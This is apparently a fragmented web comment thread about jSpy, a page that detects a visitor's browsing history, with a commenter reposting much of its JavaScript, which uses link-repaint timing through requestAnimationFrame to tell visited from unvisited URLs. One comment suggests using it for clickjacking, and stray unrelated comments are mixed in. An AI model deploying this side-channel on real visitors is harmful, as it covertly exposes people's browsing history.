jSpy: Automatically detect user's history
projects.milankragujevic.com
projects.milankragujevic.com
Well I used to offer people on forums to host with me instead of the terrible 000webhost... in theory I could set things up for you (free of course), though I'd have to see how I want to arrange things, haven't had users other than myself on my server in a while now.
[1]: https://dl.dropboxusercontent.com/u/192234503/jspy/scripts.j... [2]: https://media.blackhat.com/us-13/US-13-Stone-Pixel-Perfect-T...
Although you could possibly try to use this for a clickjacking attack, for instance if you detect amazon.com loading from cache.
var updateParams2 = updateParams;
function (){debugger; updateParams2()};
then click the button and step in. Here is a part of the source, hope the author doesn't mind about this: urls = [
function initStats() {
currentUrl = 0;
start = NaN;
counter = 0;
posTimes = [];
negTimes = [];
if (stop) {
stop = false;
loop()
}
}
function updateParams() {
out.style.textShadow = "black 1px 1px 60px";
out.style.opacity = "0.5";
out.style.fontSize = "15px";
textLines = (window.textlines ? window.textlines : 100);
textLen = (window.textlen ? window.textlen : 5);
write();
resetLinks();
initStats()
}
function write() {
var c = "";
var a = urls[currentUrl];
var d = "";
while (d.length < textLen) {
d += "#"
}
for (var b = 0; b < textLines; b++) {
c += "<a href=" + a;
c += ">" + d;
c += "</a> "
}
out.innerHTML = c
}
function updateLinks() {
var a = urls[currentUrl];
for (var b = 0; b < out.children.length; b++) {
out.children[b].href = a;
out.children[b].style.color = "red";
out.children[b].style.color = ""
}
}
function resetLinks() {
for (var a = 0; a < out.children.length; a++) {
out.children[a].href = "http://" + Math.random() + ".asd";
out.children[a].style.color = "red";
out.children[a].style.color = ""
}
}
function median(b) {
b.sort(function(e, d) {
return e - d
});
if (b.length % 2) {
var a = b.length / 2 - 0.5;
return b[a]
} else {
var c = b[b.length / 2 - 1];
c += b[b.length / 2];
c = c / 2;
return c
}
}
function loop(c) {
if (stop) {
return
}
var d = (c - start) | 0;
start = c;
if (!isNaN(d)) {
counter++;
if (counter % 2 == 0) {
resetLinks();
if (counter > 4) {
if (currentUrl == 0) {
document.getElementById("nums").textContent = "Calibrating...";
posTimes.push(d);
timespans[currentUrl].textContent = posTimes.join(", ")
}
if (currentUrl == 1) {
negTimes.push(d);
timespans[currentUrl].textContent = negTimes.join(", ");
if (negTimes.length >= calibIters) {
var b = median(posTimes);
var a = median(negTimes);
if (b - a < 30) {
if (window.textLines < 200) {
window.textlines = textLines + 50;
stop = true;
updateParams()
}
stop = true;
return
}
threshold = a + (b - a) * 0.75;
document.getElementById("nums").textContent = "Median Visited: " + b + "ms / Median Unvisited: " + a + "ms / Threshold: " + threshold + "ms";
timeStart = Date.now()
}
}
if (currentUrl >= 2) {
timespans[currentUrl].textContent = d;
linkspans[currentUrl].className = (d >= threshold) ? "visited yes" : "visited";
if ((d >= threshold) == true) {
window.links.push(urls[currentUrl])
}
incUrl = true
}
currentUrl++;
if (currentUrl == 2 && (negTimes.length < calibIters || posTimes.length < calibIters)) {
currentUrl = 0
}
if (currentUrl == urls.length) {
timeElapsed = (Date.now() - timeStart) / 1000;
document.getElementById("nums").innerHTML += "<br>Time elapsed: " + timeElapsed + "s, tested " + (((urls.length - 2) / timeElapsed) | 0) + " URLs/sec";
stop = true;
finishjSpy()
}
if (currentUrl > 2) {
$(".analyze_log").html(urls[currentUrl])
} else {
$(".analyze_log").html("Calibrating... ")
}
currentURLout.textContent = urls[currentUrl]
}
} else {
updateLinks()
}
}
requestAnimationFrame(loop)
}
function setupLinks() {
window.links = [];
var f = document.createElement("table");
f.innerHTML = "<tr><th></th><th>URL</th><th>Times (ms)</th></tr>";
f.className = "linklist";
for (var e = 0; e < urls.length; e++) {
var b = document.createElement("a");
b.href = urls[e];
b.textContent = urls[e];
var h = document.createElement("span");
h.className = "timings";
var d = document.createElement("span");
d.textContent = "\u2713";
d.className = "visited";
var g = document.createElement("tr");
for (var c = 0; c < 3; c++) {
g.appendChild(document.createElement("td"))
}
g.cells[0].appendChild(d);
g.cells[1].appendChild(b);
g.cells[2].appendChild(h);
f.appendChild(g);
timespans[e] = h;
linkspans[e] = d
}
document.getElementById("log").appendChild(f)
}
setupLinks();
function initjSpy() {
$(".loading").fadeIn()
}
function finishjSpy() {
$(".loading").fadeOut();
$.each(window.links, function(a, b) {
$(".results ul").append("<li>" + b + "</li>")
});
$(".content").fadeOut();
$(".jspy").remove();
setTimeout(function() {
$(".content").remove();
$(".results").fadeIn()
}, 500)
}
; - use if else;
- replace "if(stop){return}" with "cancelAnimationFrame";
- don't save data in the html nodes, DOM is slow, use js object to store data (timespans[currentUrl].textContent = d;).
- no need to use "window.links = ..." you can simply "links = ..."F- would not host there.